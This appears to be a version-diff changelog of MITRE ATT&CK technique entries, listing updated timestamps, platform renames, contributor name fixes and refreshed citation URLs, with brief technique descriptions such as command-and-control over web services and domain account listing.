external_references{'source_name': 'proofpoint-selfpwn', 'description': 'Tommy Madjar, Dusty Miller, Selena Larson. (2024, June 17). From Clipboard to Compromise: A PowerShell Self-Pwn. Retrieved August 2, 2024.', 'url': 'https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn'}
x_mitre_contributorsHarikrishnan Muthu, Cyble
x_mitre_contributorsReliaQuest

[T1078] Valid Accounts

Current version: 2.7

Version changed from: 2.6 → 2.7

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:51.631000+00:002024-10-15 16:09:46.024000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version2.62.7
x_mitre_contributors[8]Goldstein MenachemMenachem Goldstein
x_mitre_platforms[7]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365

[T1102] Web Service

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may use an existing, legitimate external Web sert1Adversaries may use an existing, legitimate external Web ser
>vice as a means for relaying data to/from a compromised syst>vice as a means for relaying data to/from a compromised syst
>em. Popular websites and social media acting as a mechanism >em. Popular websites, cloud services, and social media actin
>for C2 may give a significant amount of cover due to the lik>g as a mechanism for C2 may give a significant amount of cov
>elihood that hosts within a network are already communicatin>er due to the likelihood that hosts within a network are alr
>g with them prior to a compromise. Using common services, su>eady communicating with them prior to a compromise. Using co
>ch as those offered by Google or Twitter, makes it easier fo>mmon services, such as those offered by Google, Microsoft, o
>r adversaries to hide in expected noise. Web service provide>r Twitter, makes it easier for adversaries to hide in expect
>rs commonly use SSL/TLS encryption, giving adversaries an ad>ed noise.(Citation: Broadcom BirdyClient Microsoft Graph API
>ded level of protection.  Use of Web services may also prote> 2024) Web service providers commonly use SSL/TLS encryption
>ct back-end C2 infrastructure from discovery through malware>, giving adversaries an added level of protection.  Use of W
> binary analysis while also enabling operational resiliency >eb services may also protect back-end C2 infrastructure from
>(since this infrastructure may be dynamically changed).> discovery through malware binary analysis while also enabli
 >ng operational resiliency (since this infrastructure may be 
 >dynamically changed).
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2020-03-26 23:26:10.297000+00:002024-10-07 17:53:54.380000+00:00
descriptionAdversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. + +Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. + +Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
x_mitre_version1.11.2
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Broadcom BirdyClient Microsoft Graph API 2024', 'description': 'Broadcom. (2024, May 2). BirdyClient malware leverages Microsoft Graph API for C&C communication. Retrieved July 1, 2024.', 'url': 'https://www.broadcom.com/support/security-center/protection-bulletin/birdyclient-malware-leverages-microsoft-graph-api-for-c-c-communication'}
x_mitre_contributorsSarathkumar Rajendran, Microsoft Defender365

[T1550.004] Use Alternate Authentication Material: Web Session Cookie

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-19 21:26:24.725000+00:002024-10-15 16:11:15.657000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.31.4
x_mitre_platforms[2]Google WorkspaceOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
Patches

[T1583] Acquire Infrastructure

Current version: 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-28 21:13:02.648000+00:002024-10-16 20:03:59.884000+00:00
x_mitre_contributors[1]Goldstein MenachemMenachem Goldstein

[T1059.002] Command and Scripting Interpreter: AppleScript

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-01 19:06:05.126000+00:002024-10-15 14:18:20.087000+00:00

[T1010] Application Window Discovery

Current version: 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-15 16:46:04.776000+00:002024-10-15 16:22:56.372000+00:00
external_references[2]['url']https://www.prevailion.com/darkwatchman-new-fileless-techniques/https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/
x_mitre_attack_spec_version3.1.03.2.0

[T1588.007] Obtain Capabilities: Artificial Intelligence

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-15 23:49:14.558000+00:002024-09-12 19:18:36.583000+00:00
external_references[2]['description']OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved March 11, 2024.OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved September 12, 2024.
external_references[2]['url']https://openai.com/blog/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actorshttps://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/

[T1123] Audio Capture

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-23 22:53:18.389000+00:002024-10-15 13:39:22.774000+00:00

[T1547] Boot or Logon Autostart Execution

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-16 12:26:07.945000+00:002024-09-12 15:27:58.051000+00:00
external_references[3]['description']Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.
external_references[3]['url']http://msdn.microsoft.com/en-us/library/aa376977https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys

[T1176] Browser Extensions

Current version: 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-18 23:22:37.874000+00:002024-09-12 19:48:15.871000+00:00
external_references[6]['description']Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.
external_references[6]['url']https://kjaer.io/extension-malware/https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/

[T1218.003] System Binary Proxy Execution: CMSTP

Current version: 2.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-21 12:24:13.666000+00:002024-09-12 19:35:43.077000+00:00
external_references[1]['description']Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved September 12, 2024.
external_references[1]['url']https://twitter.com/ItsReallyNick/status/958789644165894146https://x.com/ItsReallyNick/status/958789644165894146
external_references[6]['description']Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved September 12, 2024.
external_references[6]['url']https://twitter.com/NickTyrer/status/958450014111633408https://x.com/NickTyrer/status/958450014111633408
x_mitre_attack_spec_version3.1.03.2.0

[T1003.005] OS Credential Dumping: Cached Domain Credentials

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-18 23:47:54.553000+00:002024-10-15 14:18:59.123000+00:00

[T1546.001] Event Triggered Execution: Change Default File Association

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:40.699000+00:002024-09-12 15:27:11.065000+00:00
external_references[2]['description']Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved September 12, 2024.
external_references[2]['url']http://msdn.microsoft.com/en-us/library/bb166549.aspxhttps://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2015/extensibility/specifying-file-handlers-for-file-name-extensions?view=vs-2015
x_mitre_attack_spec_version2.1.03.2.0

[T1651] Cloud Administration Command

Current version: 2.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-12 03:27:48.171000+00:002024-10-15 13:42:42.543000+00:00

[T1580] Cloud Infrastructure Discovery

Current version: 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-20 19:03:12.977000+00:002024-09-30 13:28:37.415000+00:00
external_references[8]['url']https://content.fireeye.com/m-trends/rpt-m-trends-2020https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf
x_mitre_attack_spec_version2.1.03.2.0

[T1552.005] Unsecured Credentials: Cloud Instance Metadata API

Current version: 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-21 13:56:27.910000+00:002024-10-15 16:24:20.219000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1555.006] Credentials from Password Stores: Cloud Secrets Management Stores

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-30 20:24:19.357000+00:002024-10-15 14:20:16.722000+00:00

[T1027.010] Obfuscated Files or Information: Command Obfuscation

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-24 15:01:21.117000+00:002024-09-12 19:43:18.873000+00:00
external_references[1]['description']Ackroyd, R. (2023, March 24). Twitter. Retrieved March 24, 2023.Ackroyd, R. (2023, March 24). Twitter. Retrieved September 12, 2024.
external_references[1]['url']https://twitter.com/rfackroyd/status/1639136000755765254https://x.com/rfackroyd/status/1639136000755765254
x_mitre_attack_spec_version3.1.03.2.0

[T1584] Compromise Infrastructure

Current version: 1.5

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-28 03:53:28.299000+00:002024-10-16 20:06:03.570000+00:00
x_mitre_contributors[2]Goldstein MenachemMenachem Goldstein

[T1552.007] Unsecured Credentials: Container API

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-15 16:11:25.409000+00:002024-10-15 16:25:28.820000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1609] Container Administration Command

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-15 16:03:19.642000+00:002024-10-15 16:25:45.507000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1053.007] Scheduled Task/Job: Container Orchestration Job

Current version: 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-15 16:23:05.392000+00:002024-10-15 16:26:03.731000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1552.001] Unsecured Credentials: Credentials In Files

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-15 21:33:00.213000+00:002024-10-15 14:28:43.639000+00:00

[T1555] Credentials from Password Stores

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-26 14:19:09.417000+00:002024-10-15 14:57:46.850000+00:00

[T1552.002] Unsecured Credentials: Credentials in Registry

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-07-28 18:29:56.525000+00:002024-10-15 16:26:46.873000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1557.003] Adversary-in-the-Middle: DHCP Spoofing

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-21 15:18:16.023000+00:002024-09-12 19:46:04.759000+00:00
external_references[5]['description']Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved March 7, 2022.Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.
external_references[5]['url']https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/
x_mitre_attack_spec_version2.1.03.2.0

[T1001] Data Obfuscation

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-02 19:04:35.389000+00:002024-10-07 15:07:47.232000+00:00

[T1074] Data Staged

Current version: 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2022-07-20 20:07:40.167000+00:002024-09-30 13:28:37.415000+00:00
external_references[1]['url']https://content.fireeye.com/m-trends/rpt-m-trends-2020https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf
x_mitre_attack_spec_version2.1.03.2.0

[T1025] Data from Removable Media

Current version: 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-10-15 22:17:35.218000+00:002024-10-15 16:30:50.936000+00:00

[T1610] Deploy Container

Current version: 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 21:24:42.680000+00:002024-10-15 15:06:17.124000+00:00

[T1587] Develop Capabilities

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-10-17 16:07:08.768000+00:002024-10-15 16:31:17.270000+00:00

[T1588.004] Obtain Capabilities: Digital Certificates

Current version: 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-10-16 17:44:09.486000+00:002024-09-16 16:19:41.567000+00:00
external_references[4]['description']Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.
external_references[4]['url']https://www.recordedfuture.com/cobalt-strike-servers/https://www.recordedfuture.com/research/cobalt-strike-servers

[T1562.004] Impair Defenses: Disable or Modify System Firewall

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-28 00:01:08.337000+00:002024-09-12 19:37:57.867000+00:00
external_references[2]['description']The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks. Retrieved March 1, 2022.The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks. Retrieved September 12, 2024.
external_references[2]['url']https://twitter.com/TheDFIRReport/status/1498657772254240768https://x.com/TheDFIRReport/status/1498657772254240768

[T1561.002] Disk Wipe: Disk Structure Wipe

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-14 19:38:24.089000+00:002024-10-15 16:32:05.064000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1087.002] Account Discovery: Domain Account

Current version: 1.2

+ + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may attempt to get a listing of domain accounts.t1Adversaries may attempt to get a listing of domain accounts.
> This information can help adversaries determine which domai> This information can help adversaries determine which domai
>n accounts exist to aid in follow-on behavior such as target>n accounts exist to aid in follow-on behavior such as target
>ing specific accounts which possess particular privileges.  >ing specific accounts which possess particular privileges.  
>Commands such as <code>net user /domain</code> and <code>net>Commands such as <code>net user /domain</code> and <code>net
> group /domain</code> of the [Net](https://attack.mitre.org/> group /domain</code> of the [Net](https://attack.mitre.org/
>software/S0039) utility, <code>dscacheutil -q group</code>on>software/S0039) utility, <code>dscacheutil -q group</code> o
> macOS, and <code>ldapsearch</code> on Linux can list domain>n macOS, and <code>ldapsearch</code> on Linux can list domai
> users and groups. [PowerShell](https://attack.mitre.org/tec>n users and groups. [PowerShell](https://attack.mitre.org/te
>hniques/T1059/001) cmdlets including <code>Get-ADUser</code>>chniques/T1059/001) cmdlets including <code>Get-ADUser</code
> and <code>Get-ADGroupMember</code> may enumerate members of>> and <code>Get-ADGroupMember</code> may enumerate members o
> Active Directory groups.(Citation: CrowdStrike StellarParti>f Active Directory groups.(Citation: CrowdStrike StellarPart
>cle January 2022)  >icle January 2022)  
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-15 21:33:57.732000+00:002024-05-31 04:00:37.651000+00:00
descriptionAdversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges. + +Commands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges. + +Commands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022)

[T1589.003] Gather Victim Identity Information: Employee Names

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-04-15 03:27:49.437000+00:002024-09-16 16:09:45.795000+00:00
external_references[1]['description']Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.
external_references[1]['url']https://www.opm.gov/cybersecurity/cybersecurity-incidents/https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/

[T1027.013] Obfuscated Files or Information: Encrypted/Encoded File

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-19 04:03:07.164000+00:002024-10-15 16:32:45.108000+00:00

[T1203] Exploitation for Client Execution

Current version: 1.4

New Mitigations:

New Detections:

Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-18 18:48:06.141000+00:002024-10-15 16:34:23.908000+00:00
x_mitre_attack_spec_version2.1.03.2.0
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_data_sourcesFile: File Modification
x_mitre_data_sourcesNetwork Traffic: Network Traffic Flow

[T1070.004] Indicator Removal: File Deletion

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-16 18:25:43.231000+00:002024-10-15 16:33:59.107000+00:00
x_mitre_attack_spec_version2.1.03.2.0

[T1187] Forced Authentication

Current version: 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2023-08-14 19:30:45.123000+00:002024-10-15 16:33:34.508000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1589] Gather Victim Identity Information

Current version: 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-19 04:27:00.005000+00:002024-09-16 16:09:45.794000+00:00
external_references[1]['description']Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.
external_references[1]['url']https://www.opm.gov/cybersecurity/cybersecurity-incidents/https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/

[T1484.001] Domain or Tenant Policy Modification: Group Policy Modification

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-01-06 12:44:15.707000+00:002024-09-23 22:11:01.884000+00:00
external_references[5]['description']Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.
external_references[5]['url']http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/
external_references[6]['description']Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019.Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved September 23, 2024.
external_references[6]['url']http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
x_mitre_attack_spec_version3.1.03.2.0

[T1027.006] Obfuscated Files or Information: HTML Smuggling

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-07-14 14:01:41.475000+00:002024-09-12 19:12:13.006000+00:00
external_references[4]['description']Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021.Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved September 12, 2024.
external_references[4]['url']https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/https://www.nccgroup.com/us/research-blog/smuggling-hta-files-in-internet-exploreredge/
x_mitre_attack_spec_version3.1.03.2.0

[T1558.003] Steal or Forge Kerberos Tickets: Kerberoasting

Current version: 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:46.538000+00:002024-09-23 22:20:10.994000+00:00
external_references[7]['description']Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved September 23, 2024.
external_references[7]['url']https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/
x_mitre_attack_spec_version3.1.03.2.0

[T1547.006] Boot or Logon Autostart Execution: Kernel Modules and Extensions

Current version: 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-20 18:53:39.406000+00:002024-09-12 17:30:54.170000+00:00
external_references[6]['description']Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved September 12, 2024.
external_references[6]['url']http://www.megasecurity.org/papers/Rootkits.pdfhttps://www.megasecurity.org/papers/Rootkits.pdf
x_mitre_attack_spec_version2.1.03.2.0

[T1555.001] Credentials from Password Stores: Keychain

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-18 20:32:22.122000+00:002024-10-15 16:35:39.985000+00:00
external_references[1]['description']Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.
external_references[1]['url']http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-wayhttps://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418
x_mitre_attack_spec_version2.1.03.2.0

[T1608.005] Stage Capabilities: Link Target

Current version: 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-28 15:57:26.842000+00:002024-10-16 20:09:41.391000+00:00
x_mitre_contributors[0]Goldstein MenachemMenachem Goldstein

[T1078.003] Valid Accounts: Local Accounts

Current version: 1.4

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2023-07-14 13:04:04.591000+00:002024-10-15 16:36:36.681000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1074.001] Data Staged: Local Data Staging

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-04-21 16:07:10.829000+00:002024-08-26 16:28:39.920000+00:00
external_references[1]['url']https://www.prevailion.com/darkwatchman-new-fileless-techniques/https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/
x_mitre_attack_spec_version2.1.03.2.0

[T1583.008] Acquire Infrastructure: Malvertising

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-17 15:32:39.470000+00:002024-10-16 20:10:08.246000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_contributors[1]Goldstein MenachemMenachem Goldstein

[T1036] Masquerading

Current version: 1.7

New Mitigations:

New Detections:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-08 17:00:59.133000+00:002024-10-16 20:10:38.450000+00:00
external_references[1]['description']Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.
external_references[1]['url']https://twitter.com/ItsReallyNick/status/1055321652777619457https://x.com/ItsReallyNick/status/1055321652777619457
x_mitre_contributors[6]Goldstein MenachemMenachem Goldstein
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_data_sourcesUser Account: User Account Creation

[T1036.005] Masquerading: Match Legitimate Name or Location

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-14 21:12:48.409000+00:002024-09-12 19:30:45.064000+00:00
external_references[1]['description']Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.
external_references[1]['url']https://twitter.com/ItsReallyNick/status/1055321652777619457https://x.com/ItsReallyNick/status/1055321652777619457
x_mitre_attack_spec_version3.1.03.2.0

[T1578] Modify Cloud Compute Infrastructure

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-05 20:45:22.041000+00:002024-09-30 13:28:37.414000+00:00
external_references[1]['url']https://content.fireeye.com/m-trends/rpt-m-trends-2020https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf
x_mitre_attack_spec_version3.1.03.2.0

[T1111] Multi-Factor Authentication Interception

Current version: 2.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-14 23:26:24.262000+00:002024-10-15 16:37:20.612000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[T1564.004] Hide Artifacts: NTFS File Attributes

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-14 21:56:34.831000+00:002024-09-12 15:27:29.615000+00:00
external_references[6]['description']Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.Microsoft. (n.d.). File Streams. Retrieved September 12, 2024.
external_references[6]['url']http://msdn.microsoft.com/en-us/library/aa364404https://learn.microsoft.com/en-us/windows/win32/fileio/file-streams

[T1106] Native API

Current version: 2.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-10-13 16:01:07.538000+00:002024-09-12 15:25:57.058000+00:00
external_references[12]['description']Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.
external_references[12]['url']http://msdn.microsoft.com/en-us/library/ms682425https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa

[T1584.008] Compromise Infrastructure: Network Devices

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-19 12:24:40.659000+00:002024-10-15 15:10:59.530000+00:00

[T1040] Network Sniffing

Current version: 1.6

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-19 12:32:44.370000+00:002024-10-15 15:11:55.217000+00:00

[T1571] Non-Standard Port

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-02-28 22:28:35.202000+00:002024-09-12 19:37:57.868000+00:00
external_references[3]['description']The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks. Retrieved March 1, 2022.The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks. Retrieved September 12, 2024.
external_references[3]['url']https://twitter.com/TheDFIRReport/status/1498657772254240768https://x.com/TheDFIRReport/status/1498657772254240768
x_mitre_attack_spec_version3.1.03.2.0

[T1003] OS Credential Dumping

Current version: 2.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-18 23:47:41.667000+00:002024-10-15 15:12:43.034000+00:00

[T1588] Obtain Capabilities

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-10-18 12:26:22.831000+00:002024-09-16 16:19:41.568000+00:00
external_references[7]['description']Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.
external_references[7]['url']https://www.recordedfuture.com/cobalt-strike-servers/https://www.recordedfuture.com/research/cobalt-strike-servers

[T1550.003] Use Alternate Authentication Material: Pass the Ticket

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2023-03-30 21:01:38.108000+00:002024-09-12 15:21:09.330000+00:00
external_references[2]['description']Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.Deply, B. (2014, January 13). Pass the ticket. Retrieved September 12, 2024.
